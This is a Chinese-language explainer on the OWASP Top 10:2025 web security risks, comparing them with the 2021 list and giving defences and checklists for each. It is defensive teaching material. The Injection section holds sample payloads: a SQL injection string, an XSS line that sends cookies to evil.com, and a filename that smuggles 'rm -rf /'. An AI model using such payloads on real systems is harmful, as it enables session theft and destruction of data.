返回首頁OWASP

OWASP Top 10 完整解析:2025 最新版十大網站安全風險(附 2021 vs 2025 差異)

24 min 分鐘閱讀
#OWASP#Top 10#網站安全#漏洞#Injection#XSS#SSRF#資安檢測#弱點掃描#滲透測試#供應鏈安全

OWASP Top 10 完整解析:2025 版十大網站安全風險與 2021 vs 2025 差異

OWASP Top 10 完整解析:2025 版十大網站安全風險與 2021 vs 2025 差異

94% 的網站至少有一個 OWASP Top 10 漏洞。

這不是危言聳聽。根據 Veracode 的報告,絕大多數的網站都有已知的安全弱點。

好消息是,這些漏洞都有明確的防護方式。只要你知道它們是什麼。

這篇文章會逐一解析 OWASP Top 10:2025 的每個漏洞,用白話文告訴你它是什麼、怎麼被攻擊、怎麼防護,並整理 2021 版到 2025 版的完整差異。


什麼是 OWASP Top 10?

由來與重要性

OWASP Top 10 是由 OWASP 組織 發布的「十大網站安全風險清單」。

這份清單不是隨便列的。它是根據全球數百間企業提供的真實漏洞數據,統計出最常見、最危險的 10 種弱點。

為什麼重要?

  • 業界標準:被 PCI DSS、NIST 等合規標準採用
  • 風險導向:排名越前面,風險越高
  • 實用性強:每個漏洞都有具體的防護建議

如果你只能學一份資安清單,就是這份。

更新週期與決策機制

OWASP Top 10 大約每 3-4 年更新一次。

歷年版本

  • 2003 年:第一版
  • 2004 年:第二版
  • 2007 年:第三版
  • 2010 年:第四版
  • 2013 年:第五版
  • 2017 年:第六版
  • 2021 年:第七版
  • 2025 年:第八版(目前最新正式版)

2025 版何時發布?

OWASP 基金會的 Top 10:2025 已於 2025 年 11 月的 OWASP Global AppSec 大會公布、2026 年 1 月定案,是自 2021 年以來的第一次改版。這是第八版「十大安全風險」清單,建立在超過 280 萬個應用程式的資料上(號稱歷來最大、最完整的應用程式安全資料集),並分析了約 17.5 萬筆對應到 CWE 弱點分類的 CVE 紀錄

2025 版重大變更

變更類型說明
🆕 新增A03:2025 軟體供應鏈失效(Software Supply Chain Failures),由 2021 版「使用有漏洞的元件」擴大而來
🆕 新增A10:2025 異常條件處理不當(Mishandling of Exceptional Conditions)
⬆️ 上升安全設定錯誤從 #5 升至 #2
⬇️ 下降加密失效從 #2 降至 #4
⬇️ 下降注入攻擊從 #3 降至 #5
🔀 整合SSRF(原 2021 版 A10)已併入 A01 存取控制失效

怎麼決定排名?

OWASP 先從貢獻的資料排出 12 個候選類別,取其中發生率最高的 8 個,再保留 2 個名額給社群問卷票選出來、但資料上還沒完全反映的新興風險。資料來源包括:

  • 資安公司的掃描數據
  • 弱點賞金平台的回報
  • 企業的真實事件統計
  • 約 17.5 萬筆 CVE 對應 CWE 的紀錄分析

然後根據「發生率(有多少比例的應用程式至少中一次)」和「影響程度」來排名。


OWASP Top 10:2025 十大漏洞逐項解析

以下逐一解析 OWASP Top 10:2025(目前最新正式版)的十大漏洞。

A01:Broken Access Control(存取控制失效)

連續蟬聯第一,最常見也最危險。2025 版把 SSRF 併入本類。

什麼意思?

使用者能存取他不該存取的資料或功能。

真實案例

你是一般會員,但改一下網址參數,就能看到管理員頁面。

原本:https://example.com/user/profile?id=123
改成:https://example.com/user/profile?id=1
結果:看到別人的個資

常見攻擊方式

  • 水平越權:看到同級別其他用戶的資料
  • 垂直越權:一般用戶存取管理員功能
  • IDOR(不安全的直接物件參考):直接修改 ID 存取他人資料
  • SSRF(伺服器端請求偽造):2025 版把原本獨立成一類的 SSRF 併入存取控制失效——攻擊者誘騙伺服器對它不該存取的內部資源發出請求,本質上就是一種存取控制破口。經典案例是 Capital One 資料外洩:攻擊者利用 SSRF 讓 AWS 伺服器去請求內部 Metadata Service,取得 IAM 憑證後存取 S3 中的客戶資料。

防護方式

  • 預設拒絕所有存取,再逐一開放
  • 每個 API 都要做權限檢查
  • 避免在 URL 暴露資源 ID
  • 驗證與過濾使用者輸入的 URL、用白名單限制可請求目標、阻擋對內部網段的請求(防 SSRF)
  • 實作速率限制

A02:Security Misconfiguration(安全設定錯誤)

2025 版從第 5 名躍升第 2 名——最容易避免,卻最常發生。

什麼意思?

系統設定沒改好,留下安全漏洞。

常見錯誤

錯誤風險
預設密碼沒改被輕易登入
錯誤訊息太詳細洩漏系統資訊
開了不必要的服務增加攻擊面
沒關 Debug 模式洩漏敏感資訊
沒更新安全 Patch已知漏洞被利用

真實案例

某公司的 S3 Bucket 設成公開,結果客戶資料被整包下載。

防護方式

  • 建立安全基準設定(Baseline)
  • 自動化設定檢查
  • 定期掃描和審計
  • 移除不必要的功能和帳號

A03:Software Supply Chain Failures(軟體供應鏈失效)

2025 版全新類別,由 2021 版「使用有漏洞的元件」擴大而來,一舉升到第 3 名。

什麼意思?

風險範圍從「用了有已知漏洞的套件」擴大到「整條軟體供應鏈的任何失效」。不只是舊元件,還包括:

  • 第三方程式碼與相依套件被植入惡意修改
  • 建置、發佈或更新流程被入侵
  • 用了已停止維護、沒人再修補的元件
  • 缺乏整條供應鏈的版本清單追蹤
  • CI/CD pipeline 與開發工具鏈本身的弱點
  • 缺乏變更管理與權責分離

真實案例

2021 年 Log4j 漏洞(Log4Shell),影響了全球數百萬個 Java 應用程式——一個被廣泛引用的日誌函式庫有洞,全世界跟著遭殃。

問題在哪?

現代軟體大量依賴第三方套件。你的專案可能直接依賴 50 個套件,但這 50 個套件又各自依賴更多套件。任何一個環節有漏洞或被動手腳,你就有風險。

防護方式

  • 維護軟體物料清單(SBOM)
  • 定期掃描套件漏洞(OWASP Dependency-Check)
  • 及時更新有漏洞的套件、移除不再使用或已停止維護的套件
  • 保護 CI/CD pipeline 與建置環境、驗證來源簽章
  • 做好版本清單追蹤與變更管理

A04:Cryptographic Failures(加密機制失效)

2025 版從第 2 名降至第 4 名。敏感資料沒有好好保護。

什麼意思?

密碼用明文存、信用卡號沒加密、用了過時的加密演算法。

真實案例

2019 年 Facebook 被爆料,數億用戶的密碼以明文形式存在內部日誌中。

常見問題

問題說明
明文傳輸沒用 HTTPS
明文儲存密碼沒 Hash
弱加密用 MD5、SHA1
金鑰管理差金鑰寫死在程式碼

防護方式

  • 全站 HTTPS
  • 密碼用 bcrypt 或 Argon2 Hash
  • 敏感資料加密儲存(AES-256)
  • 金鑰用 Vault 或 KMS 管理

A05:Injection(注入攻擊)

2025 版從第 3 名降至第 5 名,但仍是經典中的經典。

什麼意思?

攻擊者在輸入欄位塞入惡意程式碼,讓伺服器執行。

最常見的類型

SQL Injection

-- 正常查詢
SELECT * FROM users WHERE id = '123'

-- 攻擊者輸入:123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- 結果:撈出所有用戶資料

XSS(跨站腳本攻擊)


<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Command Injection

# 網站讓用戶輸入檔名
filename=report.pdf

# 攻擊者輸入:report.pdf; rm -rf /
# 伺服器執行:cat report.pdf; rm -rf /

防護方式

  • 使用參數化查詢(Prepared Statement)
  • 輸入驗證和過濾
  • 輸出編碼(HTML Encoding)
  • 最小權限原則

擔心你的網站有 SQL Injection?預約免費資安評估,讓專家幫你檢測。

A06:Insecure Design(不安全設計)

設計層面就有問題,不是程式寫錯。2025 版排第 6 名。

什麼意思?

不是程式寫錯,是設計就有問題。

真實案例

某電商的「忘記密碼」功能:

  1. 輸入 Email
  2. 系統寄驗證碼(4 位數字)
  3. 輸入驗證碼重設密碼

問題在哪?4 位數字只有 10,000 種可能,攻擊者可以暴力破解。

常見設計缺陷

  • 缺乏速率限制
  • 沒有防止自動化攻擊
  • 業務邏輯漏洞
  • 缺乏威脅建模

防護方式

  • 在設計階段做威脅建模
  • 使用安全設計模式
  • 加入防濫用機制
  • 定期做設計審查

A07:Authentication Failures(身份驗證失效)

登入機制有漏洞。2025 版由原本的「Identification and Authentication Failures」簡化更名為「Authentication Failures」。

什麼意思?

攻擊者能繞過登入,或輕易取得他人帳號。

常見問題

  • 允許弱密碼(123456)
  • 沒有防止暴力破解
  • Session 管理不當
  • 沒有多因素驗證

攻擊方式

攻擊說明
暴力破解用程式嘗試所有密碼組合
憑證填充用外洩的帳密嘗試登入
Session 劫持偷取登入後的 Session

防護方式

  • 強制密碼複雜度
  • 實作登入失敗鎖定
  • 使用多因素驗證(MFA)
  • 安全的 Session 管理

A08:Software or Data Integrity Failures(軟體或資料完整性失效)

沒有驗證軟體或資料的完整性,可能被植入惡意程式。2025 版由「Software and Data Integrity Failures」微幅更名為「Software or Data Integrity Failures」。

什麼意思?

沒有驗證軟體或資料的完整性,可能被植入惡意程式。

常見問題

  • CI/CD Pipeline 沒有完整性檢查
  • 自動更新沒有驗證簽章
  • 反序列化漏洞

真實案例

SolarWinds 供應鏈攻擊。攻擊者入侵 SolarWinds 的建置環境,在軟體更新中植入後門,影響了包括美國政府機關在內的數千個組織。

防護方式

  • 驗證軟體簽章
  • 保護 CI/CD Pipeline
  • 使用安全的反序列化方式

A09:Security Logging and Alerting Failures(安全日誌與告警失效)

被打了都不知道。2025 版由「Security Logging and Monitoring Failures」更名為「Security Logging and Alerting Failures」(監控 → 告警)。

什麼意思?

沒有足夠的日誌和告警,無法發現或調查攻擊。

問題在哪?

根據統計,企業平均需要 197 天 才能發現資料外洩。很多時候是被外部通知才知道。

常見問題

  • 沒有記錄登入失敗
  • 日誌沒有集中管理
  • 沒有告警機制
  • 日誌保留時間太短

防護方式

  • 記錄所有安全相關事件
  • 集中化日誌管理(SIEM)
  • 設定告警規則
  • 定期審查日誌

A10:Mishandling of Exceptional Conditions(異常條件處理不當)

2025 版全新類別。系統遇到異常或未預期的狀況時,處理方式不安全。

什麼意思?

程式在遇到錯誤、例外或未預期輸入時,沒有安全地處理——包括錯誤處理不當、邏輯錯誤,以及最危險的「fail-open(失效時反而放行)」:本來該擋下的操作,因為某個例外沒被正確攔截,結果變成通過。

常見問題

  • 例外沒被捕捉,把堆疊追蹤(stack trace)與系統內部資訊洩漏給攻擊者
  • 錯誤處理邏輯本身有漏洞,攻擊者故意觸發異常來繞過檢查
  • 權限或驗證檢查在出錯時預設放行(fail-open)而非拒絕(fail-safe)
  • 邊界條件、race condition 沒有妥善處理

防護方式

  • 所有例外都要明確捕捉與處理,對外只回傳通用錯誤訊息
  • 安全機制設計成「失效時拒絕」(fail-safe / fail-closed)
  • 對邏輯錯誤與邊界條件做完整測試
  • 記錄異常事件供監控與調查

歷年版本比較

2021 vs 2025 主要變化

2025 版是自 2021 年以來的第一次改版。下表逐項對照 2021 版與 2025 版的名次與名稱變化:

2021 版2025 版變化
A01 Broken Access ControlA01 Broken Access Control蟬聯第 1,SSRF 併入本類
A02 Cryptographic FailuresA04 Cryptographic Failures下降 2 名
A03 InjectionA05 Injection下降 2 名
A04 Insecure DesignA06 Insecure Design下降 2 名
A05 Security MisconfigurationA02 Security Misconfiguration上升 3 名
A06 Vulnerable and Outdated ComponentsA03 Software Supply Chain Failures擴大改名、上升 3 名
A07 Identification and Authentication FailuresA07 Authentication Failures名次不變、更名
A08 Software and Data Integrity FailuresA08 Software or Data Integrity Failures名次不變、微幅更名
A09 Security Logging and Monitoring FailuresA09 Security Logging and Alerting Failures名次不變、更名(監控→告警)
A10 Server-Side Request Forgery (SSRF)併入 A01SSRF 併入存取控制失效
A10 Mishandling of Exceptional Conditions全新類別

一句話看懂 2021→2025:兩個全新類別(軟體供應鏈失效、異常條件處理不當)、SSRF 併入存取控制、安全設定錯誤大幅上升,其餘經典項目名次微調或更名。

為什麼有這些變動?

  • 供應鏈成主戰場:Log4Shell、SolarWinds 之後,供應鏈攻擊被獨立拉出來擴大成 A03,不再只是「有漏洞的元件」。
  • 設定錯誤越來越常見:雲端、容器、IaC 普及後,設定錯誤在資料中的發生率大增,因此從第 5 名升到第 2 名。
  • SSRF 回歸本質:OWASP 認為「誘騙伺服器發出它不該發的請求」本質上就是存取控制失效,因此把 SSRF 併回 A01。
  • 存取控制仍是第一:因為它在真實世界應用程式中的發生次數最多。

2017 → 2021 曾經的變化(歷史回顧)

2017 版本2021 版本變化
A1: InjectionA03: Injection下降 2 名
A2: Broken AuthenticationA07: Auth Failures下降 5 名
A3: Sensitive Data ExposureA02: Cryptographic Failures上升 1 名,改名
A5: Broken Access ControlA01: Broken Access Control上升到第 1 名
A7: XSS併入 A03 Injection合併
-A04: Insecure Design2021 新增
-A10: SSRF2021 新增(2025 又併回 A01)

如何使用 OWASP Top 10

知道漏洞是什麼只是第一步。重點是怎麼用這份清單。

開發團隊自檢清單

每次上線前,對照 Top 10:2025 做檢查:

A01 存取控制

  • 每個功能都有權限檢查?
  • 無法透過修改參數存取他人資料?
  • 有防止 SSRF(伺服器對內部資源發請求)?

A02 設定錯誤

  • 移除預設帳密、關閉 Debug 模式?
  • 有安全基準設定並自動化檢查?

A03 供應鏈

  • 有維護 SBOM、掃描套件漏洞?
  • CI/CD pipeline 與建置環境有保護?

A04 加密

  • 敏感資料有加密儲存?
  • 全站使用 HTTPS?

A05 注入

  • 使用參數化查詢?
  • 有做輸入驗證?

以此類推,把 10 項都檢查一遍。

程式碼審查重點

Code Review 時,特別注意(括號內為 2025 版對應項目):

程式碼特徵可能的漏洞
字串拼接 SQLA05 Injection
直接輸出使用者輸入A05 XSS(注入)
沒有權限檢查的 APIA01 Access Control
硬編碼的密碼或金鑰A04 Cryptographic Failures
eval() 或 exec()A05 Injection
例外未捕捉/失效時放行A10 Mishandling of Exceptional Conditions

滲透測試覆蓋範圍

做滲透測試時,確保覆蓋 Top 10:2025 所有項目:

□ A01: 測試越權存取(含 SSRF)
□ A02: 測試設定錯誤
□ A03: 掃描供應鏈與套件漏洞
□ A04: 測試加密強度
□ A05: 測試各種注入
□ A06: 測試業務邏輯/設計漏洞
□ A07: 測試登入機制
□ A08: 測試軟體/資料完整性
□ A09: 檢查日誌與告警覆蓋
□ A10: 測試異常條件處理(fail-open)

想用專業工具自己掃描?看 OWASP ZAP 完整教學

想動手練習這些攻擊?試試 OWASP Juice Shop 實戰教學

想用 OWASP Top 10 做內部稽核?預約資安評估,我們提供專業評估服務。


常見問題 FAQ

Q1:OWASP Top 10 最新是哪一版?多久更新一次?

目前最新的正式版本是 OWASP Top 10:2025,已於 2025 年 11 月的 OWASP Global AppSec 大會公布、2026 年 1 月定案,是自 2021 年以來的第一次改版。OWASP Top 10 大約每 3-4 年更新一次。此外 OWASP 也有其他專門清單會更頻繁更新,例如 API Top 10(2023)、LLM Top 10(2025)。

Q2:OWASP Top 10 2021 和 2025 的最大差異?

主要有四點:(1)新增兩個類別——A03 軟體供應鏈失效、A10 異常條件處理不當;(2)SSRF 從獨立的 A10 併入 A01 存取控制失效;(3)安全設定錯誤從第 5 名躍升第 2 名;(4)加密失效、注入、不安全設計各往下掉了 2 名。存取控制失效則連續兩版都是第 1 名。整體來看,2025 版更強調供應鏈與異常處理這兩塊。

Q3:中小企業需要遵守 OWASP Top 10 嗎?

不是「遵守」,而是「參考」。OWASP Top 10 不是法規,沒有強制性。但如果你的網站處理客戶資料、金流或敏感資訊,遵循 Top 10 是保護自己和客戶的最佳實務。中小企業更應該重視,因為資安事件可能直接導致公司倒閉。


結語:從知道到做到

OWASP Top 10 是每個開發者和資安人員的必修課。

但光是知道這 10 種漏洞還不夠。你需要:

  1. 理解原理:知道為什麼會有這個漏洞
  2. 動手練習:實際嘗試攻擊和防禦
  3. 融入流程:把檢查機制納入開發流程

建議的下一步

或者,讓專家直接幫你檢查。

預約免費資安評估,用 OWASP Top 10 標準檢視你的網站安全。


參考資源

需要專業的雲端建議?

無論您正在評估雲平台、優化現有架構,或尋找節費方案,我們都能提供協助

預約免費諮詢

相關文章